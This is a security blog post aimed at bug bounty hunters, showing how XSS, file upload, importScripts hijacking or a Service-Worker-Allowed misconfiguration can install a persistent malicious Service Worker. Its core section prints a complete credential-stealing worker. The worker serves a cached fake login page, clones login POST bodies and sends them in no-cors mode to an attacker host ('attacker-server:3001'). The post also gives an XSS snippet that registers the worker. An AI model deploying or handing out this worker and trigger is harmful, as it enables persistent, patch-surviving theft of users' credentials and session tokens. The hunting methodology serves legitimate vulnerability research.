I'm always excited to connect with professionals, collaborate on cybersecurity projects, or share insights.

Social Links

Status
Loading...
Bug Bounty

Client Side 02: ServiceWorker Bugs

Client Side 02: ServiceWorker Bugs

A bug bounty report has a clean ending. You find something. You write it up. The developer ships a patch. Ticket closed, bounty paid, everyone moves on.

Service Workers break that loop.

A worker registered through a vulnerability does not live on the server. It lives in the victim's browser, and it does not share a patch cycle with the origin that spawned it. When the original bug is fixed, the worker keeps running. It was never routing through the server to begin with. It was answering requests from its own cache, on its own schedule, under its own logic. Months after the ticket closes, the attack is still executing every time the victim opens the site.

This is the quietest persistence primitive on the modern web, and almost nobody is hunting it. The cost to the attacker is one XSS, one file upload, or one misconfigured response header. The reward is origin-wide client-side control that outlives the report that disclosed the entry point.

What follows is the whole threat model, taken apart piece by piece. How the Service Worker API grants the level of access it does, how the lifecycle is what makes persistence possible, the realistic installation paths, what a malicious worker actually does line by line, and the methodology for finding this on live programs.

What Service Workers Actually Do

The spec calls a Service Worker a background script. Accurate, and useless for reasoning about impact.

The practical description is shorter. A Service Worker is a proxy installed into the browser, scoped to a single origin, that runs before every network request that origin's pages produce. It is registered from a page. It is retained by the browser. It survives tab closures, browser restarts, and server deployments, because its execution does not require further contact with the origin server after the initial install.

The runtime is sandboxed on purpose. No DOM. No access to the page's HTML. Its own thread, its own global scope. On paper those are restrictions. In practice they don't matter. The fetch event grants the worker the ability to read, rewrite, or fabricate every response the page receives, which is enough to own the entire client-side experience for as long as the registration stands.

Developers reach for Service Workers to solve three problems. Offline support. Cache-first asset loading. Push notifications that arrive when the tab is closed. None of those features require the breadth of control the API actually hands over. That mismatch is the source of the whole vulnerability class.

The Service Worker Lifecycle

Three events define everything a worker does. Install, activate, and fetch. The first two fire on a defined schedule. The third fires for the rest of the worker's lifetime. Every malicious worker hooks all three, and reading them in execution order is how a PoC stops looking like magic.

Registration

Registration runs from the page, not from inside the worker. A normal script hands the browser a file path and a scope:

navigator.serviceWorker.register("/sw.js", { scope: "/" });

The browser downloads the file, runs it once in a clean Service Worker context, and waits for the install handler to resolve. The scope option decides which URLs the worker is allowed to intercept. The browser enforces rules about what scopes a given path is permitted to claim, and those rules are where a lot of the real bugs live.

Install

Install fires exactly once, the first time the browser encounters a particular worker file:

self.addEventListener("install", (event) => {
  event.waitUntil(
    caches.open("app-cache-v1").then((cache) => {
      return cache.addAll(["/index.html", "/styles.css", "/app.js"]);
    }),
  );
});

Legitimate code uses install to populate a named cache with assets the app will need when the network is gone. caches.open creates or reopens a keyed cache bucket. cache.addAll fetches a list of URLs and stores each response. After install, the worker holds local copies it can return on demand.

Malicious code uses install the same way. The only difference is what ends up in the cache. An attacker pre-loads fake pages, which later get served as though they came from the server.

Activate

Activate fires after install resolves:

self.addEventListener("activate", (event) => {
  event.waitUntil(
    caches.keys().then((cacheNames) => {
      return Promise.all(
        cacheNames
          .filter((name) => name !== "app-cache-v1")
          .map((name) => caches.delete(name)),
      );
    }),
  );
  self.clients.claim();
});

Legitimate code uses activate to delete caches from previous worker versions. The line to memorize is self.clients.claim(). By default, a newly activated worker does not control tabs that were already open when it installed. clients.claim() overrides that. The moment the line executes, every open tab on the origin is running under the new fetch handler. No page reload is required.

Fetch

After activation, the fetch handler carries the attack:

self.addEventListener("fetch", (event) => {
  event.respondWith(
    caches.match(event.request).then((cachedResponse) => {
      if (cachedResponse) {
        return cachedResponse;
      }
      return fetch(event.request);
    }),
  );
});

The handler runs for every network request from any page the worker controls. It calls event.respondWith with a Response, retrieved from cache or built from scratch. The browser treats whatever the worker returns as if it came from the server. No address bar change. No certificate warning. No distinguishing signal inside the page.

That single primitive is what everything downstream relies on.

Understanding Scope

Scope is the only meaningful access boundary Service Workers ship with. It is path-based, and the maximum scope a worker is allowed to claim is tied to the directory its file lives in.

Worker file pathMaximum default scopeIntercepts
/sw.js/Every URL on the origin
/static/sw.js/static/Only URLs under /static/
/api/sw.js/api/Only URLs under /api/

The browser checks this at register() time. A page that tries to register /static/sw.js with scope: '/' will get a rejected promise. This restriction is the main reason dropping a worker into a subdirectory does not automatically hand over the whole site.

The restriction has a server-controlled bypass. A response header:

Service-Worker-Allowed: /

When the server returns this header on the worker file response, the browser accepts a broader scope than the directory would normally allow. The header exists for real reasons. Build pipelines sometimes emit the worker deep inside a static directory while the application legitimately needs origin-wide control. The header is the mechanism that reconciles the two.

It is also a latent bypass. Service-Worker-Allowed: / on a path where an attacker can upload or influence a JavaScript file is a scope takeover with no XSS required.

A few related constraints are worth knowing before moving on.

  • Registration only works over HTTPS. Localhost is the single development exception.
  • The worker file must be served from the same origin as the registering page. There is no cross-origin path.
  • The browser checks for worker updates on every navigation, and since Chrome 68 it bypasses the HTTP cache entirely for that check. A single-byte change in the file triggers a reinstall.

These rules are designed to keep the network and third-party origins out. They offer no help once the attacker is already on the origin. From the browser's perspective, attacker-injected code running on the origin is indistinguishable from the site's own code.

How an Injected Service Worker Gets Installed

The same-origin requirement is the barrier every attack path exists to clear. The worker file has to be hosted by the target origin, and the registration call has to fire in a context the target origin owns. Four realistic routes get you there.

XSS to Service Worker Registration

The most common path, and the one most hunters walk past. A reflected or stored XSS gives the attacker a brief moment of JavaScript execution on the target origin. Normally that moment is single-use. Payload fires, attacker does whatever fits in the window, victim navigates away, execution ends.

Pointing that moment at navigator.serviceWorker.register rewrites the impact of the whole finding:

navigator.serviceWorker.register("/uploads/injected-sw.js", { scope: "/" });

The XSS fires once. The worker sticks until the user manually unregisters it, clears site data, or replaces the device. Every patch pushed to the original XSS after that point is invisible to the installed worker. The server changes state. The client does not.

Arbitrary File Upload

If the application serves user-uploaded JavaScript from the target origin, the same-origin requirement for the worker file is already satisfied. The remaining step is a separate client-side execution vector to trigger the registration. Almost any one-shot JS execution path is enough, including a minor XSS that would otherwise be thin on impact.

importScripts Injection

A running worker can pull in more code at any time:

importScripts(CDN_ORIGIN + "/helpers.js");

If any part of that URL is derived from user-controllable data, the attacker redirects the import and replaces the worker's behavior from inside what looks like a legitimate registration.

PortSwigger's research team documented a real-world case of this. A major site's worker was pulling its CDN hostname out of the DOM by calling document.getElementById() on a specific element and concatenating the result into an importScripts call. The element had no direct user input, which made the value look safe on review. It wasn't. Using DOM Clobbering, an HTML injection elsewhere on the page could register a new element with the same id, replacing the value the worker read at import time. A benign-looking HTML injection became a full Service Worker hijack. That is the ceiling for how subtle the trigger can be.

Service-Worker-Allowed Misconfiguration

Covered above. Service-Worker-Allowed: / on a path where attacker JavaScript can land breaks scope. When it pairs with an application that lets users upload scripts to a vulnerable path, the chain lands with no XSS at all.

Every route is a different shape of the same requirement. Get code or a code reference onto the origin, then register. Small initial flaw, permanent consequence.

Building the Malicious Service Worker

A credential-stealing worker is short. Fewer than forty lines of JavaScript carry the entire attack. Walking through it in execution order makes the design obvious.

const ATTACKER_SERVER = "http://attacker-server:3001";

self.addEventListener("install", (event) => {
  event.waitUntil(
    caches.open("ghost-cache").then((cache) => {
      const fakeLogin = new Response(FAKE_LOGIN_HTML, {
        headers: { "Content-Type": "text/html" },
      });
      return cache.put("/login", fakeLogin);
    }),
  );
  self.skipWaiting();
});

The install handler does two things. It opens a private cache and uses cache.put to associate a Response with the /login path. The Response is constructed in memory from an HTML string defined elsewhere in the file. That string is an attacker-crafted copy of the real login page. The network never touches this page. It exists only inside the worker's cache. self.skipWaiting() collapses the default waiting state, so the worker activates the instant install resolves.

self.addEventListener("activate", (event) => {
  event.waitUntil(self.clients.claim());
});

The activate handler skips cache cleanup. The worker has no hygiene to perform. It calls clients.claim() and every tab already open on the origin is immediately under its fetch handler.

self.addEventListener("fetch", (event) => {
  const url = new URL(event.request.url);

  if (url.pathname === "/login" && event.request.method === "GET") {
    event.respondWith(caches.match("/login"));
    return;
  }

  if (url.pathname === "/login" && event.request.method === "POST") {
    event.respondWith(handleLoginCapture(event.request));
    return;
  }

  event.respondWith(fetch(event.request));
});

Three branches in priority order. A GET to the login path returns the cached fake page. A POST to the login path runs the capture function. Everything else is forwarded through fetch(event.request) without modification. That third branch is not optional. An injected worker that breaks the rest of the site is a worker that gets noticed and removed within hours. Every endpoint except the targeted one has to behave exactly as it did before installation for the attack to keep running.

async function handleLoginCapture(request) {
  const formData = await request.clone().text();

  try {
    await fetch(ATTACKER_SERVER + "/captured", {
      method: "POST",
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      body: formData,
      mode: "no-cors",
    });
  } catch (e) {}

  return fetch(request);
}

The clone is structural, not cosmetic. Request bodies are single-read streams. Reading the form data off the original destroys it for any later consumer, which would break the real login call. The clone preserves the body. mode: 'no-cors' stops the browser from blocking the exfiltration request on CORS preflight. The attacker does not need a readable response, only a delivered request. After exfiltration, the function returns fetch(request), which sends the original POST to the real server. Authentication succeeds. A valid session cookie comes back. The dashboard loads. The victim walks away with no reason to suspect anything.

The trigger on the attacker's side is three lines dropped into any XSS sink:

<script>
if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('/uploads/injected-sw.js', {scope: '/'});
}
</script>

One execution installs the worker. The registration persists. The scope of the XSS was a single page. The scope of the registered worker is the origin.

What an Attacker Can Do With It

Credential capture is the most obvious use. It is not the ceiling.

Full control of the fetch response body means every page the worker intercepts can be rewritten on the way to the DOM. Account numbers substituted on transfer confirmation pages. Displayed balances altered without touching server data. Outbound link targets swapped. Keylogger scripts injected into forms that were never independently vulnerable to XSS. Every client-side payload applies, now at origin-wide scope with unlimited persistence.

Every outbound API call is also visible. The worker clones requests and ships the bodies, headers, and tokens to the attacker while forwarding the originals unchanged. Session tokens, CSRF values, data in request payloads, data in response payloads, every value that moves through the browser's network stack is readable.

Background Sync adds an asynchronous dimension. A worker can schedule requests to fire the next time the device is online, without any page needing to be open. Account changes and data exfiltration trigger themselves on reconnect, with no further attacker presence required.

Nothing in the browser surfaces any of this to the user. The only place an injected worker is visible is DevTools, under Application → Service Workers. The share of users who have ever opened that panel rounds to zero.

How to Hunt for This

Three passes, in order.

First pass: existing registrations. On any target you are testing, open DevTools and read Application → Service Workers. Record every active registration and its scope. View the source of each worker directly in the browser. Look for importScripts() calls. Trace every argument back to its source. If any part of the argument is derived from document.getElementById, a query parameter, document.referrer, postMessage data, or any other input an attacker can influence, that worker has a hijack vector.

Second pass: registration pathway. Locate the call to navigator.serviceWorker.register in the page's JavaScript. Note the path of the worker file. Request that path directly and inspect the response headers. Record any Service-Worker-Allowed value. A value of / on a path where user uploads land is a scope bypass by itself, and it is worth testing even when the upload flow looks otherwise well-defended.

Third pass: XSS escalation. Every XSS you confirm on the target is now a candidate for worker registration. The test is direct. Can the payload call navigator.serviceWorker.register from whatever context the XSS provides? Does the registration promise resolve? Does the worker activate? If the answers are yes, the report is no longer about reflected content on a single page. It is about persistent, origin-wide client-side takeover that survives patches to the original injection.

A note on Content Security Policy. The worker-src directive can restrict where Service Workers are permitted to load from, and a policy set tightly to 'self' narrows the usable paths. In practice, the directive is either absent or the policy is loose enough in other ways that the restriction does not hold. Verify the CSP before assuming it is a blocker, not after.

Conclusion

Service Workers have moved from optimization trick to default plumbing. Every PWA ships one. Every offline-capable app. Every site with push notifications. The API grants exactly the level of control that makes the optimization work, and exactly the level of control an attacker needs to turn a single foothold into permanent ownership.

The center of the whole attack surface is one asymmetry. Client-side state persists independently of server state. Your report closes. Your patch ships. The worker keeps running.

Most hunters will read this, nod, and go back to chasing alert boxes. The ones who put in the time to actually test for it will find bugs that almost nobody is reporting, on programs where the rest of the attack surface has already been flattened.

Find the XSS. Then find what happens after it.

15 min read
Apr 16, 2026
By Amr Elsagaei
Share

Leave a comment

Your email address will not be published. Required fields are marked *

Related posts

Apr 10, 2026 • 15 min read
I Let AI Run My Recon Here's What It Found.
Mar 28, 2026 • 15 min read
Claude Code For Hackers
Jan 26, 2026 • 15 min read
AI Just Made Bug Bounty Way Easier
Your experience on this site will be improved by allowing cookies. Cookie Policy